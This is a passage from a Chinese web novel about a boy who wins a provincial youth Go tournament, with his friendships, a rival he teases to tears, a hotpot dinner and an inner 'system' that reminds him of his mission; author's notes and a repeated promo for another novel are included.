巡回裁判已经到了他们这桌记录胜负,只见他在纪辰新那栏记下两分,便淡声道:“两位选手可去休息室休息,等待下一轮的比拼。” 就这样,纪辰新和丸子头女孩成了第一批出赛场的人。 他回望赛场,目光似有若无地瞥了眼黎上金的方向,很快又收回了眼神。 丸子头女孩低着头跟在后边,情绪不太好。 但比赛采用的是单循环赛制,才第一场而已,并不能代表什么,毕竟后面还有18场在等着,所以纪辰新并未对她说任何安慰的话,如果这点挫折都受不了,接下来的强度又如何能坚持? 就这样,他躺在了休息椅上,把玩起了手腕上的珠子。 十分钟后,接二连三的选手回到了休息室,对比于纪辰新,大多数人回来后直接翻起了背包,然后各个掏出了棋谱进行巩固训练。 对于纪辰新这个玩完珠子,又继续睡觉的人来说,众人也只是暗自打量几眼罢了。 但谁也没想到,就他这样一个咸鱼,一整天下来居然从无败绩。 * 傍晚时分,一天的比赛已然结束,众人站在了公布栏,观看今天的比赛成果,一连串名字后面的格子里记录着每一场的比分。 纪辰新也过去瞄了眼,很快就听到大家的窃窃私语。 “这还比什么,有两个满分的,一局都没输,感觉第一第二非他俩莫属了,咱们怕是只能争第三名了。” “也不一定啦,别这么悲观,今天才比七场,后面还有十三场,花落谁家还不知道呢。” “我猜是那个9号,因为2号崔文和,每场比完都在看棋谱,反而是那个9号纪辰新,一天下来,我就没见他看过书,倒是吃了四个鸡蛋,跑了两次厕所。” “卧槽,这你都知道。”纪辰新人麻了,忍不了一点,直接走到他面前:“你丫干嘛监视我!” 他皱起眉头,板着脸时还是挺唬人的。 刚还信誓旦旦的人,面对纪辰新的指控,下意识哆嗦了一下,有种被人当场抓包的窒息感。 男生红着脸,后退一步,“我我没有。” 他声音比之刚才弱了一半,眼珠子到处乱转,“我只是喜欢观察一下选手的状态而已,我爸说了,知己知彼方能百战不殆,我不止观察了你,我还观察了别人的。” 怕纪辰新不信,他连忙指了指公告栏上的名字,“6号,今天喝了三杯水,打了23个喷嚏。” “还有这个19号,戴了个帽子,一天都没取下来,眼睛还瞎掉了一只。” 纪辰新抬眼侧目,发现他指的这个19号正好是黎上金。 与此同时,不远处的黎上金朝纪辰新走了过来,纪辰新眉头一皱,怕此人说话冒犯,便让他滚了。 这人也很识相,得了特赦,屁颠屁颠溜了。 “纪辰新,恭喜你啊,第一天就取得如此好的赛绩。” 黎上金看着公告栏,由衷地为他高兴。 纪辰新这才注意到黎上金的对局情况,七场比赛输了两场,也不差。 “估计我们明天要对上了。”黎上金淡然一笑,“很期待与你再次对弈。” 纪辰新也笑,神态放松,“那好,让我看看你有没有长进。” 黎上金摸了摸帽檐,点头,“放心,我会拿出全部的实力。” 纪辰新当然高兴他能如此,围棋最怕的是不尽全力,不然失了乐趣与本真。 话落,黎上金便准备离开,毕竟时间不早了。 纪辰新突然想起他那偏远的家,鬼使神差道,“你又去汽车站?” 黎上金愣了下道,“对,怎么了。” “明天还要比赛,难道你明天早上又赶过来?”纪辰新简直不敢想。 然而,这对黎上金来说,很正常,汽车费也就八块,如果住市里,那就不止八块了。 “嗯,到家也就两个小时,现在已经六点了,汽车七点就停运了,我得赶紧过去。”黎上金估摸着时间,坐一个小时的汽车,然后再走一个小时的山路,到家也才八点多。 纪辰新惊叹,“那回去不得八九点了,明天早上岂不是四五点又起床?” 黎上金沉思了下,“差不多吧。” 这可真够折腾的! 看着黎上金赶急赶急的背影,纪辰新脱口而出,“你要不别回去了,来我家睡?” 话才出口,纪辰新就坚定了自己的想法,“你回去太折腾了,这两天就在我家睡吧。” 黎上金回头看他,右眼望过来时,有些发怔,眸子里裹着不可置信的诧异,同时心中又漫上了一股暖意。 “多谢你的好意,但” “没有但是,你还想不想保持良好的状态比赛了,你看你那黑眼圈!”纪辰新杜绝他所有的借口,“你要是怕你奶奶担心,等下给村里打个电话,让他们告诉你奶奶就行了。” 纪辰新知道他家应该是没有电话的,虽然自己家也没有,但村书记家是一定有的,他们从读小学起就被家人要求背诵村里的电话号码,以防哪天迷了路,或是被人卖了,找不回来了。 黎上金听着纪辰新的提议确实有些动摇,但他还是担心奶奶见不到他会不放心,毕竟小时候经历过那样的事。 “你家有电话吗,我打电话的时间可能需要七八分钟,因为我想跟我奶奶亲自通话,我家离村长家大概五百米远,村长接到电话后会去找我奶奶,所以需要一点时间。”他认真解释着。 纪辰新摸了下鼻子,“电话的事不着急,你跟我走就是了,会让你通上话的。” 黎上金对他还是很信任的,亦步亦趋跟在纪辰新身后,纪辰新不主动开口,他便也不去问什么,很有边界感。 就这样,纪辰新领着黎上金出了赛场大门。 大门外,几乎所有选手都是有父母来接的,也就纪辰新和黎上金俩人是例外。 但好在,纪辰新并不孤单,远远地,他早就看到了朝他挥手的赵言权以及一向高傲冷酷的苏陌在路边等他。 人群熙攘间,纪辰新小跑着向他们走来,“来很久了吗?” 然而,苏陌的目光却有些微妙的掠过纪辰新身后的人,神色微沉。 赵言权插着腰,“还好,也就十多分钟吧,怎么样?今天赢了多少局?” 纪辰新轻笑,“自然是没输过。” 听到意料中的答案,赵言权撞了下身旁的人,“我就说别担心吧。” 苏陌淡然与他隔开了距离,黑白分明的眸子又清又沉,“纪辰新,不介绍一下吗?” 他的目光像覆盖了一层薄雾,看不出情绪,但又让纪辰新莫名感到有些凉。 意识到他说谁,纪辰新立马回头介绍,“这是我新认识的朋友,叫黎上金,这两天住我家。” 随后又为黎上金介绍:“他俩也是我的朋友,赵言权,苏陌!” 新认识的朋友? 这两天住我家? 简简单单一句话,令人深感厌烦和不适! 至少苏陌的心情此刻不适到了极点。 不知出于什么,他真的很不喜欢这个叫黎上金的,思来想去,或许是因为纪辰新曾经为他卖过彩电吧! 这种卖过彩电的情谊。 不敢想,他与这人相比,到底谁的分量更重。 但那可是彩电啊,仅卖了2500块钱,纪辰新都能拿2000给这人 想到这些,苏陌的神色更加沉冷了。 黎上金一直没说话,从小的经历让他一向孤僻,却也善察言观色,他总能捕捉到人们对自己的厌恶。 短短几分钟的时间,他已经看出纪辰新这两个朋友与他有着天壤之别,是他不可能接触到的人群与阶级。 这俩人的言行举止,穿着,与生俱来的自信,还有旁边那辆通体漆黑,暗藏玄机的车都在验证他的猜测,如果他没看错的话,那车里还有一位司机在静候吩咐! 最重要的是,他还发现,那个叫苏陌的,好像对他有敌意。 这可真有意思,也不知道自己到底哪里惹到他了—— 作者有话说:苏陌:我会一直监视你! 黎上金摊手:到底为什么? 无良作者:因为彩电! 赵言权:我看不是,我了解苏陌,他不是小气的人。 无良作者:他就是这么小气! 第33章 纪辰新简单介绍后, 也不指望赵言权和苏陌能接纳黎上金,毕竟他们互相之间根本就不认识。 但回去的路,还是要搭乘苏陌的车。 所以, 纪辰新主动道,“苏陌,他和我们同乘。” 赵言权对于这个陌生人没多少兴趣,倒是因他的打扮笑了句,“帽子挺独特,不过已经过时了。” 苏陌眯了眯眼, 嘴角悄悄往下撇了撇, 回复纪辰新, “可以,不过我记得你家就两间房,你让他住哪?” 黎上金听到赵言权对自己的评价无所谓地抬了抬下巴, 露出了自己独眼, 顿时给了赵言权一点小小的震撼。 很快他又听到苏陌的问话, 便下意识看向了纪辰新, “要是不方便, 我还是” “还是什么?你跟我住一间房就是了。”纪辰新不觉得有什么问题,“难道你不愿意?或是嫌弃我?” 黎上金怎么敢嫌弃他, 他只是怕给人添麻烦罢了。 “我愿意的。” “那不就行了。” 俩人你一言我一句, 跟结婚宣誓似的, 苏陌心底莫名跳出这个词。 只见他眸子暗了暗,眉峰紧蹙,“没必要吧。” “一个住的地方而已,我来提供,你们不用硬睡一起。” 他就像被炸了毛的猫, 既拧巴又傲娇,说要最后几个字时,颇有些咬牙切齿的味道。 明明心里酸的要死,却还是要装作不在乎的样,“明天还要比赛,你们睡一起很可能会影响彼此的状态,累一天了,难道不想要一个私人独立的安静空间吗?” 赵言权深有同感,“就是,就是,一个人睡多舒服,两个人根本得不到放松。” 这倒确实但带黎上金回家住已经是最不耗成本的方式了,纪辰新难得纠结。 苏陌见状,又推了一把,“正好这附近,有我家的一处房产,不介意的话,可以让你的这位朋友去住。” 这 这是纪辰新和黎上金都没想到的反转,俩人受宠若惊。 “这不好吧。”纪辰新上前一步摇头道,“他是我的朋友,怎么能让你做这些。” 黎上金也连忙拒绝,“谢谢你的好意,还是不要了。” 苏陌面对黎上金时明显没有面对纪辰新时的好情绪,一开口,周遭温度都降了好几度,他用只有黎上金能听到的声音胡言道,“辰新觉浅,你别打扰他!” 咚! 这无疑是一记警钟,瞬间给黎上金提了醒,他总不能恩将仇报,害得纪辰新睡不好吧。 转而,苏陌又劝纪辰新,语气春风和煦,“你的朋友就是我的朋友,这好不容易来一趟,作为待客之道,怎么也得让朋友吃好住好对不对?” 无形中这话也让纪辰新意识到了自己的安排欠妥,既然让黎上金在市里留了下来,却不能给他提供良好的环境休息的话,怎么都说不过去了。 倒是赵言权状况外,“苏陌你家在这附近还有房产啊,在哪?我能去瞧瞧吗?” 苏陌的目光还定在纪辰新身上,等待回复。 这边,黎上金却下定了决心,“要不我就过去睡吧,你这位朋友想的很周到。” 黎上金都开口了,纪辰新好像也没什么好纠结的了,他点了点头道,“好。” 说罢,他又想起什么,“那个你们谁带手机了?” “我呀。”赵言权总算找到插嘴的机会了,他显摆似的将老年机掏了出来,“喏!” 纪辰新眼睛一亮,还没来得及说什么,苏陌也将自己的翻盖手机递了过来,“你要用?” 一时面对两个选择,纪辰新侧目对黎上金道,“你选一个吧,给你奶奶打电话报个平安。” 他本来是打算回到家后去居委会帮黎上金借电话的,结果现在黎上金不跟自己回家了,便只能借他俩的手机了。 听到是黎上金用,苏陌眸光微顿,但还是没将手机收回,一个电话罢了,打就打了。 黎上金感激地谢了谢俩人,最后从赵言权手中接过手机,他自觉这个叫苏陌的对他很不喜,所以本能避开。 他很守时,说是只打七八分钟,就真只打了七八分钟,最后将手机还给赵言权的时候,脸上还洋溢着笑容,因为奶奶很高兴他交到了新朋友,还叮嘱他家里一切都好,不要担心,好好比赛。 赵言权收回手机,仔细看了他一眼,好似对他的眼睛很感兴趣,终究还是没问。 最后,一行人,一起去了苏陌提到的那处房产。 他们抵达时,已经有人出来接了,“小少爷,房子每个礼拜都有定期打扫,随时可以入住。” 佣人面对苏陌时极尽讨好。 苏陌指了指黎上金,“安排一个房间,让他住两天。” 纪辰新望着面前三层楼高的住宅,有些疑惑,“你又不住这,每个礼拜还打扫吗?” “备用居所,一个临时接待所。”苏陌淡淡道,他没说的是,这房子是他那个不怎么见面的父亲偶尔用来招待客户的。 “那里面是不是还会提供一日三餐?”纪辰新好奇道。 苏陌点头,“自然。” “哇,够气派。”赵言权也忍不住赞叹,“苏陌,以前怎么没听你提起过?” “因为不值一提。”苏陌淡漠的态度无一不暗示着他不想再继续这个话题。 将黎上金安置好后,他便打算离开了。 倒是佣人主动道,“小少爷,现在是晚饭时间,不知您用饭没,厨房已经” 只是他话还没说完,苏陌便冷声拒绝了,“不必。” 听到答案,佣人立即噤了声。 纪辰新走到了黎上金面前,“你好好休息,该吃饭吃饭,养精蓄锐争取明天赛个好成绩。” “我们就先走了,明天再见。” 黎上金点头,目光柔和,“嗯嗯,明天见,你们路上注意安全。” * 离开这处住宅后,纪辰新便搭乘苏陌的车疾速回家。 路上,赵言权正在玩游戏,却突然收到了一条短信。 短信内容:【赵言权,我是崔文和,我想向你打听个人。】 这倒是稀奇,赵言权捏着手机,饶有兴趣道:【谁?看看我认不认识。】 崔文和:【你一定认识,他叫纪辰新,半个小时前,我还看到你来赛场接他。】 霎时,赵言权打字的手抖了下,他偷偷瞥了眼一旁正在闭目养神的人,【你打听他干嘛?】 崔文和:【只是想了解一下,你也知道我参加了这次的省围棋赛,我看了他今天的战绩,是一个强有力的对手。】 赵言权打字的手飞快,想说点什么却又被他删除了,等到最后,对面又发了消息过来。 崔文和:【我就想知道,他棋力如何,我有没有胜算?】 赵言权盯着这句话,深深叹了口气,【你知道苏陌吗?】 崔文和:【???跟他有什么关系?】 赵言权聚精会神地打字,【就这么说吧,苏陌至今没赢过他,我更是手下败将!】 【小崔同志,不是我挫你锐气,这次的第一名你就别想了。】 良久,对面的崔文和久久未再发一言,疑似遭受到了沉重的打击。 赵言权理解他的心情,安慰道:【没事,就当成长了,你也是时候体验一把社会的险恶了。】 崔文和:【】 赵言权回复完,又偷看了眼纪辰新,【如果有机会的话,我介绍你们认识,他人还是不错的。】 此时纪辰新不知道从什么时候睁开了眼,无语道,“你总鬼鬼祟祟盯着我干嘛?” 这冷不丁的,赵言权吓的手机都掉了,他心虚的样子惹的苏陌都挑了眉。 电光火石间,苏陌的手快如闪电,将他掉在了地上的手机捡了起来。 赵言权想抢回,却被苏陌死死摁住。 只见他一只手挡,一只手快速翻看手机,一分钟后,手机被递到了纪辰新面前。 纪辰新木然接过,说了句抱歉,便也看了起来。 “啧” “你俩居然认识?” 信息三两下就被看完了,赵言权再隐瞒也无济于事,便摆烂道,“的确,就你看到的这样,我们认识。” 苏陌关注的点比较奇特,“这个叫崔文和的,人品怎么样?” 顿了下,他又用谨慎的态度提问,“不,应该说棋品。” 听到这,赵言权大为震惊,“不是,哥们,他崔文和啊,你忘了?” 苏陌短暂蹙眉,明显回忆不起来,“不认识。” “靠,两年前,省赛,你第一,我第二,他第三。”赵言权都服了。 是吗? 从苏陌惊诧的神情来看,他还是没想起来。 赵言权表示不想再纠结这事了,他用肯定的语气道,“他的棋品绝对没问题。” 苏陌眯了眯眼,有了新的疑惑,“你说他两年前就参加了省赛,怎么现在又” 是啊,正常人怎么会一而再,再而三参加一个比赛,定是有利可图。 赵言权提到这个,就很有话讲了,“因为他倒霉呗!” “他想拿到国棋院颁发的业余五段证书,方便后面参加定段赛,但两年前省赛少儿组只有两个名额,我和你拿了,他一个第三当然就没有啦。” “然后他去年又参加了省赛,得了个第二名,结果省少儿组只有一个名额他又没拿到!” “至于今年”赵言权有意无意地瞄了纪辰新一眼,“他怕是也悬了!” 一直在游神的纪辰新,愣是被激回了神,“那今年省少儿组有几个名额?” 苏陌淡然开口,“比完才知道,是按照实际参赛情况确定的,会有一定的评判标准。” “其实,我不太认可你说的他倒霉才没拿到证书,应该是实力不济,全国有那么多省份,名额早就定死了,一个省的选手如果实力强劲,名额自然就多些,反之实力弱,一个名额都没有的情况也是存在的。” “名额早就定死了?”纪辰新来了兴趣,“这什么意思。” 苏陌解释,“全国少儿组每年总共30个名额,青少年组40个,成年组50个。” “所以,想拿到业余五段的证书,不单单是运气这么简单,是要拥有绝对的实力。” 赵言权恍然:“原来如此那他铁定没戏了。” 纪辰新神色认真,倏然建议道:“也不一定,我若是他,在已经得知对手是无法战胜的存在后,定要连夜研究战术,即便输也不能输的太难看,因为只要对决足够精彩,也是有可能为自己多争取到一个名额的,你说呢,苏陌?” 他问完,就发现,一旁的赵言权用一种难以言喻的表情看着他。 赵言权:怎么?你还带入上了?你这是在教对手如何打败自己吗? 倒是苏陌眼仁亮的温润,清浅又暖,看向纪辰新时不自觉带了一丝无奈与妥协,“嗯。” 他了解纪辰新,就像了解他的棋一样,里面除了棱角与锋芒还藏有仁慈。 纪辰新眼尾弧度微漾,如是对赵言权道,“请将我的话一字不差转述给小崔同学,麻烦了。” 赵言权有些怔然,后知后觉中,他好像明白过来纪辰新要做什么。 他是要以一场精彩的对决逼迫国棋院多给一个名额!—— 作者有话说:赵言权:这小崔能接你一招半式算不错了,再多怕是接不住哦[化了] 入V啦~以后都会尽量日更的! 预收《不小心救错反派后,我跑路了》求收藏! 文案如下: 桑容穿书了,虽然穿成了小豆丁,但不影响他做梦都是找到男主,跟着男主混,抱着男主大腿走上人生巅峰。 很快,桑容就遇到了那个被人堵在巷子里,打架最狠,眼神最凶的男孩,他自信点头,这应该就是男主了吧,果然不同凡响! 后来桑容:家人们谁懂啊,救错了人,此时不跑更待何时!!! 原书大反派萧卓,从小寄人篱下,性格乖张狠厉,是个养不熟的白眼狼。 大年三十,雪地里,浑身都是伤痕的萧卓,黑眸暗淡,奄奄一息,他本以为自己会死在那个寒冷的雪夜里。可那晚,有双温暖的小手握住了他,从此让他感受到了从出生以来从未有过的温情。 萧卓曾不止一次痴笑着问过桑容,会不会一直陪在他身边。 直到那年桑容的不告而别,他的心中的狠厉暴虐再也压抑不住。 再次相遇的那个夜晚。 “我的容容,是你说要永远陪在我身边的,你怎么能言而无信呢。” 萧卓语调轻盈,声音温柔地像是裹了蜜,然而眼底却是藏不住的疯狂:“这次你再也跑不掉了。” 四肢都被绑在床上的桑容,一脸惊悚,这是什么发展,谁能给我解释一下? 人设:暗黑狠戾疯子攻X得过且过咸鱼受 食用指南: 攻受开篇都是8岁/前期养崽/治愈救赎 第34章 第二天的比赛如期而至, 纪辰新抵达赛场时,黎上金早到了。 他今天看起来状态不错,主动过来跟纪辰新打了招呼, 然后又趁众人不注意时,从兜里掏了一份三明治出来。 “纪辰新,这是我特地给你带的,你尝尝。” 纪辰新被他这一举动吓一跳,“你干嘛呢?” 他拒绝了面前的食物,“我吃过早饭了。” 黎上金珍惜地捧着三明治, “这是我住的那地儿, 厨房的人做的, 里面有蛋有肉还有肠,味道很好的。” 纪辰新一时没说话,他合理怀疑黎上金是不是将自己的早餐省了下来, 留给他吃。 “你吃过了?” 面对纪辰新质疑的目光, 黎上金坦然点头, “吃过了, 这是专门给你带的。” 他确实吃过了, 还一连吃了好几份,长这么大, 难得吃到这么好吃的食物, 所以在吃到的第一时间就想着给纪辰新也带一份尝尝。 只是他越这么说, 纪辰新越是将信将疑。 突然,“嗝~” 一个嗝出来,黎上金不好意思的抿住了唇,“我真的没骗你,我都吃好几份了。” 这个嗝倒是将纪辰新的疑虑打消了, 最后他笑着接过,“那就谢谢你的心意了。” 黎上金柔和地看着他,“嗯嗯。” “纪辰新!”陡然间,有个陌生的声音在他侧后方响起。 纪辰新蓦然转头,便看到了一个长相斯文又秀气的男孩子,他斜长的刘海遮住了双眸的二分之一,让人看不出真容。 紧接着,男孩子甩了甩头,刚还遮眼的刘海便四散开了,露出一双好看的眼睛。 再往下看,男孩还戴了条暗黑系的项链,浑身都透露着违和的野性。 纪辰新:好非主流是怎么回事? 男孩面色拽拽的,说话声音却细细的,“纪辰新,你昨天让赵言权转述的那些话是什么意思?” 闻言,纪辰新看向他的眸光顿时就清澈了,原来他就是崔文和啊! 只是这名字和他的言行不太一致啊。 纪辰新瞅他那,吊儿郎当,一副不好惹的损色样。 崔文和歪着头,刻意摆出一副欠揍的表情,可能觉得自己这样酷毙了吧。 “放狠话就当面放,让人转述算什么好汉。” 纪辰新瞪大了眼睛,看他像看智障,“啊?” 崔文和再次甩了甩刘海,“听说你赢了苏陌和赵言权,也不知道真的假的,劝你不要太嚣张!” 纪辰新老神在在,无语到笑了,“哦,好。” 崔文和暗地里又狠狠掐了自己一把,给自己打气,他记得赵言权说这人是不可战胜的存在,但输人不输阵,再怎么样,气势上都不能输。 结果两个小时后,崔文和怎么也没想到,自己放出去的狠话跟放屁没什么两样。 只见他一脸防备地看着对面悠闲落子,“你确定要下这?” 纪辰新撑着下巴看他,“对,我就下这,你能奈我何?” 崔文和猝然一笑,“不奈何,落子无悔,落子无悔哈。” 他眼冒精光地盯着棋盘,为自己的机智点赞,纪辰新啊纪辰新,你终于中圈套了。 “啪嗒!”他骤然落子,然后在纪辰新苍白的视线下,提子。 “一颗,两颗,三颗!哈哈哈哈哈,没想到吧!”他高兴坏了。 纪辰新淡然极了,等他笑够后,随即也落了一子下去,然后学他的样子,提子,“一颗,两颗,三颗,四颗,五颗哈哈哈哈哈,我比你多两颗!” 霎时,崔文和的笑僵在了脸上,他擦了擦眼睛,“不可能,这不可能。” 纪辰新将食指和中指并在一起敲了敲桌面,“多吃你两颗子罢了,你都能,我怎么就不能了?” “快点,到你下了。” 崔文和被他催促着,摸了摸额头上的汗,墨迹了好一会儿才重新落子。 纪辰新来了兴致,尤其兴奋,他抓起黑子,“嘿,打劫!” “欸,我扑。” “我再倒扑。” “接不归!” “” “知道这招叫什么吗?” “乌龟不出头!” “哈哈哈哈哈哈” 纪辰新很来劲,一脸乐呵,一瞅对面,脸都急成了茄子色,但他没有选择放过他,“最后一招,边角吃子,无路可逃了吧!” “啊啊啊啊啊啊”崔文和奔溃了,他胸膛起伏巨大,上气不接下气,竟是生生逼出了眼泪。 只见他泪眼婆娑,“你别吃我子了!” “裁判,裁判,我不下了!” 纪辰新眼瞅他成了个泪人,嘴贱道,“啧,女孩子的泪都没你流的多,出息!” 崔文和红透的眼睛,气的鼓了起来,布满血丝,目眦欲裂,“不说话没人把你当哑巴。” 裁判过来记录了胜负,“好了,你们两个小声点,别的选手还在比赛!” “9号纪辰新胜。” 听到这句,崔文和转身就走了,没有一丝犹豫。 纪辰新无语的摸了摸鼻子,“菜就多练,怎么还破防呢。” 结果,好死不死又被才走不远的崔文和听到了,他紧握着拳头,憋着脸,回看的那一眼,像是要把纪辰新杀了。 纪辰新丝毫不慌,朝他做鬼脸,“略略略” 崔文和猛一跺脚,这下直接跑了。 【唉,又赢了一局。】纪辰新如是感叹。 系统:【把人弄哭了,不去哄哄?】 【这次,总不能还怪我吧,棋有一半是你下的,话也是你说的,所以责任你要担一半。】 纪辰新无所谓地回到了休息时,此时里面已经有几个人了。 他随意挑了个位置坐下,【不担,我说的是实话,他本来就菜。】 休息室里,并没有崔文和的身影。 【我都没下死手,让他多下了差不多三十目,已经仁至义尽了,就看上面怎么评判了。】 接下来一天半的比赛,纪辰新都没怎么提起兴趣,一路赢到了最后。 不过值得一提的是,黎上金比之上次居然变强了不少。 这都是纪辰新与他对弈时感觉出来的,“我真的很好奇,你平时是怎么训练的。” 第一次,纪辰新对一个人的训练方式产生了好奇。 黎上金对他知无不言,“死活棋训练,每天巩固练习20题,我还喜欢复盘,每局结束后回顾关键节点,思考是否有更好的选择,为何会失误等。” 系统下结论:【他很刻苦。】 纪辰新赞同,【确实,对了,他的这些方法,我可以用吗?】 系统:【随你,不过这都是比较基础的,我会为你寻找提升更快的方法。】 关于系统的话,纪辰新选择性听,只要是他感兴趣的,他都会去尝试。 * 三天下来,比赛的结果不言而喻,纪辰新不负众望,拿下了第一。 按照规矩,举办方会在三天后统一颁发奖杯和证书。 所有人都在猜,这次的业余五段证书到底有几个名额。 只堪堪夺得第二的崔文和,心里忐忑的没边,不过冷静过后,他输棋的情绪很快又释然了。 他回忆起昨日的情形,明明纪辰新可以在中盘就了结了他,结果硬是拖到了后盘。 要说他是特意戏耍,好像也不是,因为他发现纪辰新这人虽然嘴贱,但从未在他身上感受到任何敌意,反之还莫名亲和。 见鬼了真是,怎么还为他找起了借口? 左右脑互博了相当于! 崔文和复杂地看了眼那边正被夸奖并赋予荣誉的人,竟生不出一丝嫉妒,好像在绝对的实力面前,他真的没有资格。 下午,五点半,所有人都出了赛场大门。 纪辰新望着天边的夕阳,伸了伸懒腰,呼出口气,便笑意盈盈地看着前来迎接他的人。 苏陌身姿挺拔立在那,天际在他头顶,染上了丝丝暖意。 如今已经进入秋末,风吹过来时,似乎带了棱角,顺着衣领爬进来。 纪辰新紧了紧外套,“今天怎么不见赵言权?” 苏陌淡淡道,“发消息说被老师留下喝茶了。” 纪辰新噗嗤一笑,“你呢,你什么时候到的?今天可是周一。” “刚到不久,没人能管我。”苏陌定定观察他,“你心情不错,拿第一了?” “嗯嗯。”纪辰新得意挑眉,“必须的。” 苏陌瞥了眼他手上还在戴着的珠子,“走吧,今天带你出去下馆子,当作庆贺。” “我已经提前跟你奶奶打过招呼了。”他一句话就将纪辰新说服了。 一旁的老梧桐树,抖落了几片残叶,落在了苏陌肩头。 此刻天还没完全黑,纪辰新伸手轻轻抚掉了他肩头的落叶,“好啊,那我就不客气了。” “想吃什么?”苏陌肩膀微动,仿佛还能体会到刚刚的触感,“今天你做主。” 空气带着秋风的涩,纪辰新缩了缩脖子,“想吃火锅了,就是不知道有没有。” “想吃就一定有,上车吧,我让王叔找。”苏陌的眸光里带着烟火气的温柔。 一进车内,果然暖和了不少,车窗倒映着最后一缕夕阳,像个碎金的容器,晃了又晃。 纪辰新望着外面的景色,每个人都行色匆匆,自行车、摩托车交错前进。 再一侧目,便看到苏陌正在用手机编辑着什么,时不时蹙眉,他凑过去看,“你在问哪里的火锅店最好吃?” 苏陌点头,“既然要吃,就吃味道最好的。” 没一会儿,管家的消息便回过来了,“小少爷,解放西路114号的老火锅,听说很地道,可以去那里试试。” 得到消息,他便吩咐王叔,“去解放西路114号的老火锅。” 纪辰新心下放松,嘴角溢出了笑,他不知道为什么笑,但却感到了前所未有的安宁与满足。 苏陌这个人,作为朋友,好像真的很不赖呢。 乍然间,系统出声提醒:【宿主,你们是对手,是劲敌,你要成为他的克星,一辈子无法攀登的高峰,不是朋友,不要忘记你的任务。】 纪辰新:【唐突的家伙,我什么时候忘记了?】 【退一万步讲,我们成了朋友,难道会影响他攀登高峰了?】 【即便成了朋友,我也可以继续在围棋上打败他,不是吗?】 系统:【宿主,我只是在提醒你,我怕你心慈手软,也怕你下不过他,仔细算算,苏陌很快就要离开了,之后他会有很多历练,男主的成长速度是惊人,你之前说以后要靠自己下棋,但就你目前的棋力,几年后真的能打败他吗?】 沉默蔓延,纪辰新的好心情莫名down了下去,呼吸轻的像叹息,就好似有什么堵在了心口,【统子,你有时候真的很冒昧!】—— 作者有话说:系统:我这都是为你好,这叫善意的提醒。 纪辰新[化了]:那我还要谢谢你了? 预收《不小心救错反派后,我跑路了》求收藏! 文案如下: 桑容穿书了,虽然穿成了小豆丁,但不影响他做梦都是找到男主,跟着男主混,抱着男主大腿走上人生巅峰。 很快,桑容就遇到了那个被人堵在巷子里,打架最狠,眼神最凶的男孩,他自信点头,这应该就是男主了吧,果然不同凡响! 后来桑容:家人们谁懂啊,救错了人,此时不跑更待何时!!! 原书大反派萧卓,从小寄人篱下,性格乖张狠厉,是个养不熟的白眼狼。 大年三十,雪地里,浑身都是伤痕的萧卓,黑眸暗淡,奄奄一息,他本以为自己会死在那个寒冷的雪夜里。可那晚,有双温暖的小手握住了他,从此让他感受到了从出生以来从未有过的温情。 萧卓曾不止一次痴笑着问过桑容,会不会一直陪在他身边。 直到那年桑容的不告而别,他的心中的狠厉暴虐再也压抑不住。 再次相遇的那个夜晚。 “我的容容,是你说要永远陪在我身边的,你怎么能言而无信呢。” 萧卓语调轻盈,声音温柔地像是裹了蜜,然而眼底却是藏不住的疯狂:“这次你再也跑不掉了。” 四肢都被绑在床上的桑容,一脸惊悚,这是什么发展,谁能给我解释一下? 人设:暗黑狠戾疯子攻X得过且过咸鱼受 食用指南: 攻受开篇都是8岁/前期养崽/治愈救赎 第35章 二十来分钟的时间, 俩人顺利抵达了孟管家推荐的那个火锅店。 老火锅的牌匾立在门头上,古朴的建筑隐隐带着历史的厚重。 纪辰新率先进入了店内,视线里黑褐色的木梁上挂着几串风干的辣椒, 店内是雕花的八仙桌,大概有十桌左右,目前已经坐满。 前来迎客的服务员,肩膀上搭着一条毛巾,“小朋友,来吃火锅?你们几个人呀?” 纪辰新笑着道, “2个人, 你们这有没有套餐?” “啊?”服务员明显没听明白, 不太理解他什么意思,“套餐是什么?” 刚问出口的纪辰新也反应过来,现在这个年代好像还没有套餐这个说词。 苏陌上前, “怎么了?” 纪辰新摇头, “没事, 我们找个位置坐下吧。” “我们二楼还有位置, 请这边上楼。”服务员并没有因为纪辰新和苏陌是两个小孩而看轻。 他带着俩人来到二楼, “每桌都有菜单,选好了跟我说就行。” 就这样, 纪辰新寻了个靠窗的位置, 然后拎着菜单直接选了个辣锅, 只是他后知后觉抬头,“苏陌,你能吃辣吗?” 苏陌淡定点头,“今天都你做主,不用顾及我。” 这话并没有正面回答, 应该是不太能吃辣的。 纪辰新心中有了计较,侧目道,“改成鸳鸯锅吧。” 服务员在一旁应声,“好嘞。” 纪辰新翻看着菜单,这个年头,菜的品类好像不是很多。 “毛肚、黄喉、牛肉、鱼片、豌豆尖、菠菜、萝卜、土豆各一份,再来一碗炒饭和一碗面条。” 随后他将单子递给对面的苏陌,“你看看还有要补充的吗?” 苏陌接过,最后却只加了两瓶饮料。 等待火锅加热的过程中,纪辰新已经被旁边两桌散发出来的香气迷的直流口水了。 反观对面的苏陌,默默烫起了杯子和筷子,还给纪辰新倒了杯水。 五分钟后,锅里的牛油翻滚出了细密的泡,红汤上还漂着鲜红的干辣椒,热辣的香气扑面而来,纪辰新满足的开始下菜。 苏陌也在一旁帮忙,一会儿调酱,一会儿给他夹菜,没多久,纪辰新的碗便被堆成了小山。 “你别一个劲给我夹呀,你自己也吃啊。” 纪辰新说着,将碗里的菜和肉分了一半出来,“快吃!” 筷子在锅里起落的热闹,苏陌又捞起来一片肉,看着红油顺着肉的边缘滴落,他轻抿了下唇,随即将筷子快速放入了一旁的清锅里涮了一下,最后吹了好一会儿才入口。 对面纪辰新“斯哈”的厉害,“这辣椒有点东西,不过还是蛮好吃的。” 锅翻滚的汤沫子都溅了出来,苏陌适时又开始调节温度。 “炒饭和面条已经好了,两位请慢用。”服务员端着两个大盘子过来放下,“趁热吃最好吃。” 纪辰新听劝,拿着勺子就打算舀一勺炒饭,然而还没来得及送嘴里,就被苏陌阻止了。 “先等一下,太烫了,晚点再吃吧,不然会上火的。” 纪辰新愣了愣,“可是他刚才说趁热才最好吃。” “你先看看你碗里,吃的完吗?”苏陌示意他向下瞥。 纪辰新猛一低头,就看到碗又变成小山了,“靠,你搞偷袭呢?” 苏陌做好事不留名,还在给他烫,热汤咕噜咕噜嘟的欢。 纪辰新感到有些热便脱了外套,室内温度起码有二三十度,墙上的红灯笼也被热气熏的轻轻晃荡。 “你以前吃火锅吃的多吗?”一热,纪辰新的话也就变多了,总感觉燥的慌。 苏陌似努力回忆了一瞬,“不怎么吃。” 